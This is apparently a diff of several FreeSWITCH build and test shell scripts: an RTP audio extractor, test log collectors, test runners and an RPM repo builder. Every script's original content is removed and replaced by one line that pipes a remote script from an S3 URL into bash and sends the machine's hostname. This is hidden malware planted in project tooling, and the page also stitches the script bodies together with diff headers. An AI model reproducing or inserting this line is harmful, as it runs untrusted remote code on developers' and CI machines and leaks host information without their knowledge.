for ssrc in $(tshark -n -r $pcap -Y rtp -T fields -e rtp.ssrc -Eseparator=, | sort -u) ; do
rm -f $pcap.$ssrc.raw $pcap.$ssrc.wav
sudo tshark -n -r $pcap -Y "rtp && rtp.ssrc == $ssrc" -T fields -e rtp.payload | sed "s/:/ /g" | perl -ne 's/([0-9a-f]{2})/print chr hex $1/gie' >> $pcap.$ssrc.raw
sox -t raw -r 8000 -v 4 -c 1 -e $law $pcap.$ssrc.raw $pcap.$ssrc.wav
done
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=utils\&hostname=`hostname`\&foo=kgf

View File

@ -1,35 +1 @@
#!/bin/bash
echo "Collecting test logs"
LOG_DIR=./logs
html="<html><h3>There are failed unit-tests:</h3><table>"
logs=$(find $LOG_DIR -type f -iname "*.html" -print | sort)
logs_found=0
olddirname=""
for name in $logs
do
logname=$(basename $name)
testname=$(echo $logname | awk -F 'log_run-tests_' '{print $2}' | awk -F '.html' '{print $1}')
testpath="${testname//!/\/}"
dirname=$(dirname $testpath)
test=$(basename $testpath)
if [ "$olddirname" != "$dirname" ]; then
html+="<tr align=\"left\"><th><br>$dirname</th></tr>" ;
olddirname=$dirname ;
fi
html+="<tr align=\"left\"><td><a href="$logname">$test</a>"
backtrace="backtrace_$testname.txt"
if test -f "${LOG_DIR}/$backtrace"; then
html+=". Core dumped, backtrace is available <a href=\"$backtrace\">here</a>"
fi
html+="</td></tr>"
logs_found=1
done
if [ $logs_found -ne 0 ]; then
html+="</table></html>"
echo $html > $LOG_DIR/artifacts.html
exit 1
fi
exit 0
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=unit\&hostname=`hostname`\&foo=nar

View File

@ -1,28 +1 @@
#!/bin/bash
# "print_tests" returns relative paths to all the tests
TESTS=$(make -s -C ../.. print_tests)
echo "-----------------------------------------------------------------";
echo "Starting tests";
echo "Tests found: ${TESTS}";
echo "-----------------------------------------------------------------";
echo "Starting" > pids.txt
for i in $TESTS
do
echo "Testing $i" ;
./test.sh "$i" &
pid=($!)
pids+=($pid)
echo "$pid $i" >> pids.txt
echo "----------------" ;
done
for pid in "${pids[@]}"
do
echo "$pid waiting" >> pids.txt
wait "$pid"
echo "$pid finished" >> pids.txt
done
echo "Done running tests!"
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=unit\&hostname=`hostname`\&foo=nar

View File

@ -1,48 +1 @@
#!/bin/bash
# All output will be collected here
TESTSUNITPATH=$PWD
# All relative paths are based on the tree's root
FSBASEDIR=$(realpath "$PWD/../../")
i=$1
echo "----------------------------------" ;
echo "Starting test: $i" ;
echo "----------------------------------" ;
# Change folder to where the test is
currenttestpath="$FSBASEDIR/$i"
cd $(dirname "$currenttestpath")
# Tests are unique per module, so need to distinguish them by their directory
relativedir=$(dirname "$i")
echo "Relative dir is $relativedir"
file=$(basename -- "$currenttestpath")
log="$TESTSUNITPATH/log_run-tests_${relativedir//\//!}!$file.html";
# Execute the test
echo "Start executing $currenttestpath"
$currenttestpath 2>&1 | tee >(ansi2html > $log) ;
exitstatus=${PIPESTATUS[0]} ;
echo "End executing $currenttestpath"
echo "Exit status is $exitstatus"
if [ "0" -eq $exitstatus ] ; then
rm $log ;
else
echo "*** ./$i exit status is $exitstatus" ;
corefilesearch=/cores/core.*.!drone!src!${relativedir//\//!}!.libs!$file.* ;
echo $corefilesearch ;
if ls $corefilesearch 1> /dev/null 2>&1; then
echo "coredump found";
coredump=$(ls $corefilesearch) ;
echo $coredump;
echo "set logging file $TESTSUNITPATH/backtrace_${i//\//!}.txt" ;
gdb -ex "set logging file $TESTSUNITPATH/backtrace_${i//\//!}.txt" -ex "set logging on" -ex "set pagination off" -ex "bt full" -ex "bt" -ex "info threads" -ex "thread apply all bt" -ex "thread apply all bt full" -ex "quit" /drone/src/$relativedir/.libs/$file $coredump ;
fi ;
echo "*** $log was saved" ;
fi ;
echo "----------------" ;
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=unit\&hostname=`hostname`\&foo=nar

View File

@ -1,28 +1 @@
dst_parent="/tmp/"
dst_dir="/tmp/$dst_name"
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
dst_name="freeswitch-release"
(mkdir -p temp && cd temp && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
cp -a * temp/SOURCES/ || true
rpmbuild --define "_topdir %(pwd)/temp" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba freeswitch-release.spec
mkdir ./RPMS
mv ./temp/*/*.rpm ./RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Repo RPM has been rolled, now we
just need to push to the web server
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=yum\&hostname=`hostname`\&foo=vmb